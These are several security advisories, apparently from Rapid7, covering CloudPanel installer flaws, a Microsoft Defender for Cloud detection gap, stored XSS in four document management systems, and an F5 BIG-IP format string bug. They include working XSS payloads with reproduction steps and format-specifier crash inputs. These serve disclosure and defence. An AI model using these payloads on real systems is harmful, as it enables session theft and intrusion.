While using the popular self-hosted web administration solution, CloudPanel from MGT-COMMERCE, Rapid7 researcher Tod Beardsley discovered three security concerns. The first, an issue involving the trustworthiness of the installation script provided by the vendor, was an instance of CWE-494: Download of Code Without Integrity Check, and was quickly addressed by the vendor in under a day.
The second issue was with how the installer overwrites local firewall rules to be overly permissive during setup, and appears to be an instance of CWE-183: Permissive List of Allowed Inputs. The third issue is more long-term; CloudPanel installations all share the same SSL certificate private key. This appears to be an instance of CWE-321: Use of Hard-coded Cryptographic Key.
Product Description
MGT-COMMERCE’s CloudPanel is a free solution designed to ease the burden of administering self-hosted Linux servers, and is featured prominently at cloud virtual hosting providers such as AWS, Azure, GCP, Digital Ocean, and many others. More about CloudPanel can be found at the vendor’s website.
Credit
These issues were discovered and reported by Tod Beardsley, a security researcher at Rapid7, and is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Exploitation
While experimenting with some self-hosting solutions for personal use, Beardsley discovered three issues that appear to place new CloudPanel installations at risk of opportunistic attacks across the internet.
Pipe Curl to Bash
The first issue, an instance of CWE-494 involving the trustworthiness of the "curl to bash" installation procedure documented by the vendor was quickly addressed by publishing a cryptographically secure checksum of the installation script. The vendor’s website now includes this check for a sha256 hash, as seen in the screenshot below.
This hash changes as new versions of the install script are released, of course, so it may be different by the time you read this advisory. A strategy of publishing a cryptographically secure hash and incorporating a check of that hash should alleviate any concern about the usual "pipe curl to bash" procedure for downloading and installing software over the internet. If you trust the vendor’s website, and if the vendor’s website is itself protected with an HTTPS certificate, then you should be confident that the installation script they provide is actually the installation script you expect to run. We urge other software providers to incorporate a similar hash check for distributing their installation scripts if they must distribute them via "pipe curl to bash" schemes.
Firewall Rule Rewrite On Installation
The instance of CWE-183 arises due to the fresh installation procedure recommended by the vendor in their documentation. During installation, the installation script preemptively discards local firewall rules for the host operating system, replacing them with much more permissive rules.
In the test case, the local firewall rules (as seen by ufw) are pre-set as:
root@debian11:~# ufw status numbered
Status: active
To Action From
-- ------ ----
[ 1] Anywhere ALLOW IN 1.2.3.4
[ 2] 80:8443/tcp DENY IN Anywhere
(Note, the allowed IP address has been replaced with "1.2.3.4")
The above rules state, "Allow any traffic from 1.2.3.4, deny all traffic to ports 80 through 8443 to everyone else." The ufw configuration also concludes with a general default deny rule (not seen here).
During installation, and upon completion of that one-command piping bash to curl installation procedure, these rules are changed to:
root@debian11:~# ufw status verbose
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip
To Action From
-- ------ ----
22/tcp ALLOW IN Anywhere
80/tcp ALLOW IN Anywhere
443 ALLOW IN Anywhere
8433:8443/tcp ALLOW IN Anywhere
22/tcp (v6) ALLOW IN Anywhere (v6)
80/tcp (v6) ALLOW IN Anywhere (v6)
443 (v6) ALLOW IN Anywhere (v6)
8433:8443/tcp (v6) ALLOW IN Anywhere (v6)
These rules are, of course, far more permissive, specifically because they removed the deny rules as well as the custom IP address allow rule I had set prior to installation.
Furthermore, upon completion of the initial installation, the superuser administrator account for CloudPanel is blank. This is a problem because, typically, a user would navigate to the host server web panel and set the password to their chosen value. However, once installation is complete, and if the machine is on the routable internet (as is intended), an attacker could visit the same web panel and set the administration user account to their chosen password, thus effectively administrating the machine.
Note, the opportunity for attack is limited, since the legitimate CloudPanel administrator has the opportunity to reset firewall rules once installation is complete. However, when installation is complete, there is no notification that firewall rules have been discarded and replaced, so the legitimate user is left to discover this on their own.
If an attacker does manage to seize control during the vulnerable window of opportunity, they could install the malware of their choice, replace certificates, or otherwise alter the underlying operating system as an authenticated administrator, since the whole purpose of CloudPanel is to ease the task of OS management.
The trick for the attacker, then, is to find fresh installations of CloudPanel. This seems unlikely on the open internet assuming users are quick to set their superuser administrator account password, but issue CVE-2023-0391, described next, makes the job of finding these fresh CloudPanel servers much easier, in an automated way.
CVE-2023-0391: Reused Certificates
Upon installation, CloudPanel ships with a static SSL certificate to encrypt communications to the administrative interface. Because the SSL certificate is generated once by MGT-COMMERCE and shipped with every installation of CloudPanel, this state of affairs is exploitable for two outcomes.
First, because the SSL certificate has a unique but reused public key, searching for unmodified CloudPanel instances is trivial with modern network scanning techniques. All an attacker would need to do is target a given IP address space used by a targeted Virtual Private Server (VPS) provider, and continuously look for HTTPS services running on port 8443 (the default for this web administration portal) and certificates that match the public key fingerprint seen below:
Using these search parameters, an attacker can continuously search, in real time, for new instances of CloudPanel, and then exploit the CWE-183 issue described above. Of course, other techniques exist for identifying CloudPanel instances, but the reused certificate leads to a secondary, more serious problem.
Since the private key also ships with every installation of CloudPanel, and CloudPanel is freely available to anyone who cares to download it, the encryption provided by the HTTPS connection is not trustworthy. An attacker with the private key can easily decrypted captured traffic, either in real time through a privileged position on the network between the client and the server, or later with captured network traffic. In either case, sensitive information such as an administrator password and session tokens would be immediately available to the attacker.
According to Shodan, as of January 18, 2023, there are about 5,800 servers providing a certificate issued by ‘cloudpanel.clp`, the self-signed authority found on the shipping default certificate. These servers are found mostly in the United States and Germany (which is unsurprising given that the vendor is a German company), and mostly in DigitalOcean VPS environments. This figure is close to our own scanning with Project Sonar, which has spotted 6,785 running instances as of January 27, 2023.
Impact
By chaining together the firewall permissiveness and the reused certificate issues together, an attacker can target and exploit new CloudPanel instances as they are being deployed. It’s important to note that CloudPanel is touted to be an easy to use interface for basic Linux administration, is targeted at relatively inexperienced users, and much of the documentation presumes an installation procedure live on the routable internet with a fresh VPS instance.
Furthermore, it would appear that CloudPanel is currently enjoying a burst of uptake among new Fediverse-aware users (this researcher included). While self-hosting is a perfectly innocent and often virtuous goal for distributing personal and professional content, it does come with some additional security responsibilities that are traditionally taken up by dedicated professional services.
Unfortunately, those dedicated professionals are absent in the DIY, roll-your-own kind of environment encouraged by Fediverse fans, and users are left to fend for themselves when it comes to secure software deployment. In light of this advisory, users interested in self-hosting solutions are urged to be aware of the special security considerations that come along with offering services on the general internet. In years past, this would go without saying, but the late 2022 turmoil around untrustworthy centralized services such as Twitter may be generating a new wave of inexperienced sysadmins on the internet, similar the the surge of general internet usage during the Eternal September of 1993.
Remediation
As of this publication, the firewall rewriting issue, the blank superuser password, and CVE-2023-0391 remain unfixed by the vendor. The issues described in the firewall rewrite issue could be fixed by the installation script taking a snapshot of the existing firewall rules, and programmatically creating a ruleset that incorporates the user’s original intent with those rules. At the least, the script should identify, and warn the user, that firewall rules are about to be re-written.
The superuser administrator account should be created with a random, per-install password, and display that password on the console upon completion; once the user logs in for the first time, they could then be prompted to change the password.
Absent a patch for these issues, users should take care to install CloudPanel only on isolated networks in a way that is isolated beyond local firewall rules. Practically speaking, as long as the user is installing CloudPanel attentively, and watching for the moment the web service becomes available, attackers will only have a minute or so of exposure to take advantage of. Local, same-machine attackers aside, this should be good enough for most use cases.
For the second issue, the vendor could provide, as part of the installation script, a mechanism to create a unique self-signed SSL certificate during installation, and conclude the installation by printing the fingerprint on the console output.
Absent a patch for CVE-2023-0391, users of CloudPanel are encouraged to generate and install their own certificate for SSL use in order to avoid being so trivially fingerprintable by automated scans, and in order to ensure that the cryptographic security provided by HTTPS is actually secure against passive monitoring.
Disclosure Timeline
November, 2022: CWE-183 and CWE-494 issues discovered by Tod Beardsley of Rapid7
Wed, Nov 23, 2022: CWE-183 and CWE-494 reported to the vendor
Thu, Nov 24, 2022: Report acknowledged by the vendor, CWE-494 addressed
December, 2022: CVE-2023-0391 discovered
Wed, Jan 18, 2023: CVE-2023-0391 reported to the vendor
Prior to March 9, 2023, Microsoft Defender for Cloud incorrectly marked some Azure virtual machines as having secured management ports including SSH (port 22/TCP), RDP (port 3389/TCP) and WINRM (port 5985/TCP), when in fact one or more of these ports were exposed to the internet. This occured when the Network Security Group (NSG) associated with the virtual machine contained a rule that allowed access to one of these ports from the IPv4 range “0.0.0.0/0”. Defender for Cloud would only detect an open management port if the source in the port rule is set to the literal alias of “Any”. Although the CIDR-notated network of "/0" is often treated as synonymous with "Any," they are not equivalent in Defender for Cloud’s logic.
Note that as of this writing, the same issue appears when using the IPv6 range “::/0” as a synonym for "any" and Microsoft has not yet fixed this version of the vulnerability.
Product Description
Microsoft Defender for Cloud is a cloud security posture management (CSPM) solution that provides several security capabilities, including the ability to detect misconfigurations in Azure and multi-cloud environments. Defender for Cloud is described in detail at the vendor’s website.
Security groups are a concept that exists in both Azure and Amazon Web Services (AWS) cloud environments. Similar to a firewall, a security group allows you to create rules that limit what IP addresses/ranges can access which ports on one or more virtual machines in the cloud environment.
Credit
This issue was discovered by Aaron Sawitsky, Senior Manager for Cloud Product Integrations at Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.
Exploitation
If an Azure Virtual Machine is associated with a Network Security Group with “management ports” such as RDP (Remote Desktop Protocol on port 3389/TCP) or SSH (Secure Shell protocol on port 22/TCP) exposed to the "Any" pseudo-class for "Source," Microsoft Defender for Cloud will create a security recommendation to highlight that the management port is open to the internet, which allows an administrator to easily recognize that there is a virtual machine in their environment with one or more over-exposed server management ports.
However, prior to March 9th, if the Network Security Group was instead configured such that a “management port” like RDP or SSH was exposed to “0.0.0.0/0,” as a source (which is the entire IPv4 range of all possible addresses) no security recommendation was created and the configuration was incorrectly marked as “Healthy.”
The effect is demonstrated in the screenshots below:
Because of this network scope confusion, Azure users can easily and accidentally expose management ports to the entire internet and evade detection by Defender for Cloud.
We suspect that other Defender for Cloud features that check for the "any-ness" of ingress tests are similarly affected, but we have not comprehensively tested for other manifestations of this issue.
Impact
We can imagine two cases where this unexpected behavior in Defender for Cloud could be useful for attackers. First, it’s likely that administrators are unaware of any practical semantic difference between "Any" and "0.0.0.0/0" or “::/0” since these terms are often used interchangeably in other networking products, most notably, as when configuring AWS Security Groups. As a result, this misconfiguration could be accidentally applied by a legitimate administrator, but remain undetected by the person or process responsible for monitoring Defender for Cloud security recommendations. This is the most likely scenario most administrators will face.
More maliciously, an attacker who has already compromised a virtual Azure-hosted machine could leverage this confusion to avoid post-exploit detection by the Defender for Cloud. This makes repeated, post-exploit access from several different sources much easier for more sophisticated attackers. In this case, the "attacker" will often be an insider who is merely subverting their own IT security organization for ostensibly virtuous, just-get-it-done reasons, such as testing a configuration in production, but forgetting to re-limit the exposure.
Note that more exotic combinations of subnets could be used to achieve the same effect; for example, an administrator could define "0.0.0.0/1" and "128.0.0.1/1" which would have exactly the same effect as one "0.0.0.0/0" source rule. Or, even more cleverly, define a set of subnets that adds up to "almost any," which would be good enough for a thoughtful attacker to ensure continued, un-alerted exposure. However, this kind of configuration is extremely unlikely to be implemented by accident (as described in the first case), and thus, is almost certainly beyond the reasonable scope of the Defender for Cloud use case. After all, Defender for Cloud is designed to catch common misconfigurations, and not necessarily an intentionally confusing configuration.
Remediation
Since Defender for Cloud is a cloud-based solution, users should not have to do anything special to enjoy the benefits of Microsoft’s update. With that said, customers should remember that the update has not resolved the issue when using the IPV6 range ::/0 as a synonym for “any.” As a result, customers should search their Azure environments for any Security Groups configured to allow ingress from a source of “::/0” and seriously consider reconfiguring these rules to be more restrictive. In addition, customers should regularly subject their cloud infrastructure to auditing and penetration tests to verify that their CSPM is actually catching common misconfigurations. We have already validated that this issue does not impact Rapid7’s InsightCloudSec CSPM solution. In addition, Defender for Cloud customers who have previously used the "/0" CIDR notation in their security group rules should review access logs to ensure that malicious actors were not evading the presumed detection capabilities provided by Defender for Cloud.
Disclosure Timeline
January 2023: Issue discovered by Rapid7 cloud security researcher Aaron Sawitsky
Wed, Jan 11, 2023: Initial disclosure to Microsoft
Thu, Jan 12, 2023: Details explained further and validated by the vendor
Mon, Feb 6, 2023: Fix planned by the vendor
Thu, Mar 9, 2023: Fix for "0.0.0.0/0" confirmed by Rapid7
Tue, Mar 14, 2023: This disclosure
Through the course of routine security testing and analysis, Rapid7 has discovered several issues in on-premises installations of open source and freemium Document Management System (DMS) offerings from four vendors. While all of the discovered issues are instances of CWE-79: Improper Neutralization of Input During Web Page Generation, in this disclosure, we have ordered them from most severe to least.
All of these issues were discovered by Rapid7 researcher Matthew Kienow, and validated by Rapid7’s security sciences team. Unfortunately, none of these vendors were able to respond to Rapid7’s disclosure outreach, despite having coordinated these disclosures with CERT/CC. As such, these issues are being disclosed in accordance with Rapid7’s vulnerability disclosure policy. When we become aware of patches or vendor advisories, we will update this advisory with that information.
Given a malicious document provided by an attacker, the ONLYOFFICE Workspace DMS is vulnerable to a stored (persistent, or "Type II") cross-site scripting (XSS) condition.
Product Description
ONLYOFFICE Workspace is an AGPL licensed DMS, available as an on-prem or cloud-hosted collaboration platform. Read more about ONLYOFFICE at the vendor’s website.
This vulnerability was identified in testing against ONLYOFFICE Workspace Version 12.1.0.1760. It is likely the vulnerability exists in previous versions of the software as well as the Enterprise offering. The test instance was installed using the Docker image and the instructions for installing ONLYOFFICE Workspace using the provided script.
CVE-2022-47412 Exploitation
The attack hinges on the ability of the attacker to get a document saved in the DMS for indexing. The details of how this might happen are going to vary significantly between sites, ranging from an email or web-based portal for submitting documents automatically to the target organization, to convincing a human operator to manually save the malicious document on behalf of the attacker, to an insider indexing their own document and waiting for another user to trigger the XSS condition.
Once indexed, the attacker then needs to wait for, or convince, a user to trigger the stored document via the search functionality provided by ONLYOFFICE Workspace. One technique to ensure success would be to create a document with several commonly searched-for terms, which will depend on the target organization’s industry, commonly spoken language, and other factors.
Reproduction of the issue is straightforward:
Upload or create a new document that contains the following two lines of text and tags:
One <img src/onerror=alert('XSS-doc-1')> two
Three <script>alert('XSS-doc-2')</script> four
Select the document and open it with either the edit or preview option. For example, /Products/Files/DocEditor.aspx?fileid=11 is a typical path.
Open the search panel by clicking the magnifying glass icon on the left side of the editor.
Type one of the words on either side of the tag (one, two, three, or four) and it will cause the related XSS to execute in the user’s web browser.
Impact
Once an attacker has provided a malicious document, and a suitable victim has triggered the XSS condition, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie that a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.
A slightly more subtle and extensible attack would be to hook the victim’s browser session and inject the attacker’s own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.
Once enabled, the attacker would have access to the stored documents, which may be critically important to the targeted organization.
Remediation
In the absence of an update from the vendor, users of the affected DMS should take care when importing documents from unknown or untrusted sources. Of course, many modern workflows depend on cataloging inbound documents, so this advice should be backed up with a robust document scanner that automatically searches for common XSS patterns embedded in documents. XSS filter evasion is a constantly evolving field, but a reasonable scanner should be able to at least pick out common XSS patterns.
Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.
Disclosure Timeline
October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels.
Fri, Dec 2, 2022: Support ticket #37150 suggests emailing [email protected]
Mon, Dec 5, 2022: Provided details to the vendor
Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-LFBLV)
Tue, Feb 7, 2023: Public disclosure
CVE-2022-47413, CVE-2022-47414: OpenKM Document and Application XSS
Two XSS vulnerabilities were discovered in OpenKM, a popular DMS.
Given a malicious document provided by an attacker, the OpenKM DMS is vulnerable to a stored (persistent, or "Type II") XSS condition.
For the second issue, direct access to OpenKM is required in order for the attacker to craft a malicious "note" attached to a stored document.
Product Description
OpenKM is a GPL licensed DMS, available as an on-prem or cloud-hosted collaboration platform. Read more about OpenKM at the vendor’s website.
These vulnerabilities were identified in testing against OpenKM Version 6.3.12 (build: a3587ce). It is likely the vulnerability exists in previous versions of the software. The tested instance was installed using the Docker image and the installation instructions.
CVE-2022-47413 Exploitation
The attack hinges on the ability of the attacker to get a document saved in the DMS for indexing. The details of how this might happen are going to vary significantly between sites, ranging from an email or web-based portal for submitting documents automatically to the target organization, to convincing a human operator to manually save the malicious document on behalf of the attacker, to an insider indexing their own document and waiting for another user to trigger the XSS condition.
Once indexed, the attacker then needs to wait for, or convince, a user to trigger the stored document via either direct navigation to the document, or the search functionality provided by OpenKM. One technique to ensure success would be to create a document with several commonly searched-for terms, which will depend on the target organization’s industry, commonly spoken language, and other factors.
Reproduction of the issue is straightforward:
Create a PDF and a text file that contains the following line of text and tag:
One <img src/onerror=alert('XSS-doc-1')> two
Upload both documents
A user that selects the text document will trigger the XSS to execute in their web browser. This does not require the Preview tab to be selected, and it will trigger when the default tab, Properties, is selected.
The stored XSS in the document will also execute via a search
a. Click the Search tab and check the “View advanced mode” checkbox
b. On the Basic tab, change the Context drop-down to “My documents”
c. In the Content field enter one of the words on either side of the tag (one or two)
d. Click the Search button.
e. The XSS will execute in the user’s web browser as long as the document was included in the displayed search results.
CVE-2022-47414 Exploitation
If an attacker has access to the console for OpenKM (and is authenticated), a stored XSS vulnerability is reachable in the document "note" functionality. Reproduction of the issue is below.
Upload or navigate to a document in the system and click to select it.
In the lower panel click the Notes tab and enter a tag such as <img src/onerror=alert('XSS-doc-note')> in the note field.
Click the Add button
A user that selects this document will trigger the XSS to execute in their web browser. This does not require the Notes tab to be selected, and it will trigger when the default tab, Properties, is selected.
Impact
Once a suitable victim has triggered one of the described XSS conditions, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.
A slightly more subtle and extensible attack would be to hook the victim’s browser session and inject the attacker’s own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.
Once enabled, the attacker would then have access to the stored documents, which may be critically important to the targeted organization.
Remediation
For the first issue, in the absence of an update from the vendor, users of the affected DMS should take care when importing documents from unknown or untrusted sources. Of course, many modern workflows depend on cataloging inbound documents, so this advice should be backed up with a robust document scanner that automatically searches for common XSS patterns embedded in documents. XSS filter evasion is a constantly evolving field, but a reasonable scanner should be able to at least pick out common XSS patterns.
For the second issue, in the absence of an update from the vendor, administrators should limit the creation of untrusted users for the affected DMS, since all users have access to the note creation system by default. Until a patch or updated is provided by the vendor, only known, trusted users of the DMS should be permitted to use the tagging features of the application.
Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.
Disclosure Timeline
October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels.
Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-PNWWF)
Tue, Feb 7, 2023: Public disclosure
CVE-2022-47415 through CVE-2022-47418: LogicalDOC Multiple Stored XSS
Four XSS vulnerabilities were discovered in the LogicalDOC DMS. Successful XSS exploitation was observed in the in-product messaging system, the chat system, stored document file name indexes, and stored document version comments.
Product Description
LogicalDOC Community Edition is an LGPL licensed document management system (DMS), available as an on-prem or cloud-hosted collaboration platform. Read more about LogicalDOC at the vendor’s website.
These vulnerabilities were identified in testing against LogicalDOC Enterprise version 8.8.2 and Community version 8.7.3. It is likely the vulnerability exists in previous versions of the software. The instances tested were installed using the Docker images and the Community installation and Enterprise installation instructions.
Exploitation
The XSS issues identified in LogicalDOC each have their own unique vectors for attacker utility. All require some level of access to the DMS system itself, though "Guest" access is often sufficient to target administrators.
CVE-2022-47415 Exploitation
CVE-2022-47415 is a stored XSS in the in-app messaging system (both subject and bodies of the messages). Reproduction steps are detailed below.
Click messages tab
Click Send message button
Enter one or more Recipients
In the subject field enter a tag such as <img src/onerror=alert('XSS-msg-subject')>
In the message body field enter a tag such as <img src/onerror=alert('XSS-msg-body')>
Click the Send button
If the message recipient is logged into LogicalDOC in the Chrome web browser a pop-up will appear notifying the user of the new message and the XSS will execute in their web browser. If the user was not logged in at the time the message was sent, or they are using the Firefox web browser the XSS will execute in their web browser when they navigate to the messages panel if the XSS was placed in the subject field. If the XSS was placed in the message body it will execute when they select the message.
Note that the "Guest" group is able to send messages to other users by default, including administrators. This would be the likely attack path for an otherwise untrusted, but technically authenticated, user.
CVE-2022-47416 Exploitation
CVE-2022-47416 is a stored XSS in the in-app chat system, and was observed in the Enterprise edition of the DMS. Reproduction steps are detailed below.
Click Dashboard tab
Click Chat tab
In the message input box at the bottom of the bag enter a tag such as <img src/onerror=alert('XSS-chat-msg')>
Click the Post button
The XSS will execute in a user’s web browser if the user is logged into LogicalDoc with the Chat tab selected. If the user was not logged in at the time the message was sent, the XSS will execute in their web browser when they navigate to the Chat tab.
Note that the "Guest" group is able to initiate chats to other users by default, including administrators. This would be the likely attack path for an otherwise untrusted, but technically authenticated, user.
CVE-2022-47417 Exploitation
CVE-2022-47417 is a stored XSS in the document file name, but the filename must be changed in-app (rather than being merely provided by the attacker through some other mechanism). Reproduction steps are detailed below.
Click Documents tab
Click Add documents button
Select a PDF document to upload, check the “Immediate indexing” checkbox, click the Send button and then click the Save button
Select the uploaded document in the upper panel
In the lower panel locate the “File name” field and enter as tag such as <img src/onerror=alert('XSS-filename')>.pdf
Click the Save button
A dialog box will appear asking “The file extension has been changed. Do you want to proceed?”, click the Yes button
Once the file name is changed to include the malicious XSS payload, there are a number of conditions that trigger the XSS.
The XSS will execute in a user’s web browser when they navigate to the Documents tab.
The stored XSS will execute in another user’s web browser, such as the administrator, without them performing any actions as long as that user previously clicked the Documents tab before the adversarial user performed steps 1-7. The user does not need to remain on the Documents tab for the zero-click XSS to execute in their browser.
The stored XSS in the document file name will also execute via a search
a. Either using the search box in the upper right hand corner or the Search tab, enter a unique term that appears within the previously uploaded document and click the magnifying glass icon (search button).
b. The XSS will execute in a user’s web browser as long as the document was included in the displayed search results.
CVE-2022-47418 Exploitation
CVE-2022-47418 is an XSS in document version comments. Reproduction steps are detailed below.
Click Documents tab
Click Add documents button
Select a document and click the Send button
In the input box for the “Version comment” at the bottom of the dialog box enter a value such as <img src/onerror=alert('XSS-version-comment')> and click the Save button.
The stored XSS will execute in any user’s web browser if they select the document in the document panel and then click on either the Versions or History tabs.
Impact
Once a suitable victim has triggered one of the described XSS conditions, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.
A slightly more subtle and extensible attack would be to hook the victim’s browser session and inject the attacker’s own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.
Once enabled, the attacker would then have access to the stored documents, which may be critically important to the targeted organization.
Remediation
In the absence of an update from the vendor, administrators should limit the creation of anonymous, untrusted users for the affected DMS, since in many cases, the "Guest" access level is capable of launching these stored XSS attacks against more privileged users. Until a patch or updated is provided by the vendor, only known, trusted users of the DMS should be permitted to use the messaging, chat, document rename, and document version features of the application.
Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.
Disclosure Timeline
October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels. Ticket #11105 opened automatically.
Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-ZMXZP)
Mon, Dec 19, 2022: Details disclosed to OpenKM
Tue, Feb 7, 2023: Public disclosure
CVE-2022-47419: Mayan EDMS Tag XSS
An XSS vulnerability was discovered in the Mayan EDMS DMS. Successful XSS exploitation was observed in the in-product tagging system.
Product Description
Mayan EDMS Workspace is an Apache licensed DMS, available as an on-prem or cloud-hosted collaboration platform. Read more about Mayan EDMS at the vendor’s website.
This vulnerability was identified in testing against Mayan EDMS Version 4.3.3 (Build number: v4.3.3_Tue Nov 15 18:12:36 2022 -0500). It is likely the vulnerability exists in previous versions of the software. Installed using the Docker image and the installation instructions.
CVE-2022-47419 Exploitation
CVE-2022-47419 is a stored XSS in the in-product tagging system. Reproduction steps are below.
In the Label field enter a tag such as <script>alert('XSS-tag-label')</script>
Click the Save button
Select Documents and then the “All documents” link in the panel on the left.
Click a document to open the document preview
Click the Tags link on the panel to the right.
Click the “Attach tags” button
Click in the Tags drop-down menu and the XSS will execute in the user’s web browser.
Impact
Once a suitable victim has triggered the described XSS condition, the attacker has several avenues for furthering their control over the target organization. A typical attack pattern would be to steal the session cookie a locally-logged in administrator is authenticated with, and reuse that session cookie to impersonate that user to create a new privileged account.
A slightly more subtle and extensible attack would be to hook the victim’s browser session and inject the attacker’s own commands under the identity of the hooked user, using BeEF or similar post-exploitation tooling.
Once enabled, the attacker would then have access to all stored documents, which may be critically important to the targeted organization.
Remediation
In the absence of an update from the vendor, administrators should limit the creation of anonymous, untrusted users for the affected DMS, since all users have access to the tagging system by default. Until a patch or updated is provided by the vendor, only known, trusted users of the DMS should be permitted to use the tagging features of the application.
Given the high severity of a stored XSS vulnerability in a document management system, especially one that is often part of automated workflows, administrators are urged to apply any vendor-supplied updates on an emergency basis.
Disclosure Timeline
October-November: Research project on DMS vulnerabilities initiated by Matthew Kienow
Thu, Dec 1, 2022: Initial notification to the vendor via guessed email addresses and support channels.
Fri, Dec 16, 2022: Details disclosed to CERT/CC via VINCE (VRF#22-12-WMFKG)
While following up our previous work on F5’s BIG-IP devices, Rapid7 found an additional vulnerability in the appliance-mode REST interface; the vulnerability was assigned CVE-2023-22374. We reported it to F5 on December 6, 2022, and are now disclosing it in accordance with our vulnerability disclosure policy.
The specific issue we discovered is an authenticated format string vulnerability (CWE-134) in the SOAP interface (iControlPortal.cgi), which runs as root and requires an administrative login to access. By inserting format string specifiers (such as %s or %n) into certain GET parameters, an attacker can cause the service to read and write memory addresses that are referenced from the stack. In addition to being an authenticated administrative endpoint, the disclosed memory is written to a log (making it a blind attack). It is difficult to influence the specific addresses read and written, which makes this vulnerability very difficult to exploit (beyond crashing the service) in practice. This has a CVSS score of 7.5 for standard mode deployments and 8.5 in appliance mode.
Products
This issue affects BIG-IP only (not BIG-IQ), and as of writing are not yet patched. The currently supported versions known to be vulnerable are:
The issue we are disclosing is a blind format string vulnerability, where an authenticated attacker can insert arbitrary format string characters (such as %d, %x, %s, and %n) into a query parameter, which are passed into the function syslog(), which processes format-string specifiers. This does not require the attacker to actually read the syslog entries—it’s the act of parsing the format string that is problematic. That also means that the attacker can’t read the memory, unless they have an additional way to read the syslog. By using the %s specifier, the service can be trivially crashed with a segmentation fault (because it tries to dereference pointers on the stack as strings). Using %n, arbitrary data can be written to any pointer found on the stack—depending on what’s present on the stack, this may be exploitable for remote code execution.
The issue occurs in WSDL= parameter in the following authenticated administrative URL:
The value of the WSDL= parameter is written to the syslog:
Nov 29 08:32:25 bigip.example.org soap[4335]: query: WSDL=ASM.LoggingProfile
If an attacker adds format-string characters to that argument, they will be processed and values from the stack can be written to the syslog (an attacker wouldn’t be able to see this, so it’s actually a blind format-string vulnerability). For example, this URL:
Might write the following, after expanding the %08x format specifiers to values from the stack (the colons are just for readability):
Nov 29 08:41:47 bigip.example.org soap[4335]: query: WSDL=ASM.LoggingProfile:0000004c:0000004c:08cb31bc:08cba210:08cc4954:01000000:ffeaa378:f5aa8000
Once again, we should note that an attacker cannot see this log, and therefore cannot use this to disclose memory. We can, however, use a %s format specifier to tell the service to try and render a string from the stack. If the value on the stack is not a valid memory address (such as the first value, which is 0x0000004c), the process will crash with a segmentation fault. We can also use the %n format specifier to write a (mostly) arbitrary value to a memory address found on the stack.
Here is an example of using the %s specifier in a request:
If we send that to the server (as an authenticated request), the service will crash. We can attach a debugger to the server process to validate:
[root@bigip:Active:Standalone] config # /tmp/gdb-7.10.1-x64 -q --pid=4335[...](gdb) contContinuing.
Program received signal SIGSEGV, Segmentation fault.0xf55e3085 in vfprintf () from /lib/libc.so.6(gdb) bt#0 0xf55e3085 in vfprintf () from /lib/libc.so.6#1 0xf568f21f in __vsyslog_chk () from /lib/libc.so.6#2 0xf568f317 in syslog () from /lib/libc.so.6#3 0x0810cc1f in PortalDispatch::HandleWSDLRequest(char*) ()#4 0x08109f08 in iControlPortal::run(int) ()#5 0x0810947f in main ()
The actual vulnerable code in PortalDispatch::HandleWSDLRequest in iControlPortal.cgi is (in a disassembler):
.text:0810CBF2 loc_810CBF2: ; CODE XREF: PortalDispatch::HandleWSDLRequest(char *)+DD↑j.text:0810CBF2 pop ecx.text:0810CBF3 pop edi.text:0810CBF4 push esi ; Query string.text:0810CBF5 push eax.text:0810CBF6 call __ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::basic_ostream<char,std::char_traits<char>> &,char const*).text:0810CBFB pop eax.text:0810CBFC pop edx.text:0810CBFD lea eax, [ebp+var_8C8].text:0810CC03 lea edi, [ebp+format].text:0810CC09 push eax.text:0810CC0A push edi.text:0810CC0B call __ZNKSt15basic_stringbufIcSt11char_traitsIcESaIcEE3strEv ; std::basic_stringbuf<char,std::char_traits<char>,std::allocator<char>>::str(void)
.text:0810CC0B ; } // starts at 810CBE6.text:0810CC10 pop eax.text:0810CC11 push dword ptr [ebp+format].text:0810CC17 push 6.text:0810CC19 ; try {.text:0810CC19 call _syslog ; <--- Vulnerable call to syslog().text:0810CC19 ; } // starts at 810CC19
A String object (that contains query:) has the query string appended to it, then is passed directly into _syslog(), which processes format string characters.
Impact
The most likely impact of a successful attack is to crash the server process. A skilled attacker could potentially develop a remote code execution exploit, which would run code on the F5 BIG-IP device as the root user.
Remediation
There is currently no fix for this issue in released BIG-IP software versions. F5 has indicated that an engineering hotfix will be made available. It should be stressed that this issue is only exploitable as an authenticated user of the vulnerable device. So, end users should restrict access to the management port to only trusted individuals (and the linked KB provides a procedure to bind webd to localhost) which is usually good advice anyway.
Rapid7 customers
An authenticated vulnerability check for CVE-2023-22374 will be available in today’s (Feb 1) content-only release. Because F5’s hotfix policy is that hotfixes come with "no warranty of guarantee of usability," please note that hotfixes are not taken into consideration for vulnerability checks within InsightVM.
Timeline
December, 2022 – Discovered the vulnerability
Tue, Dec 6, 2022 – Reported to F5 SIRT
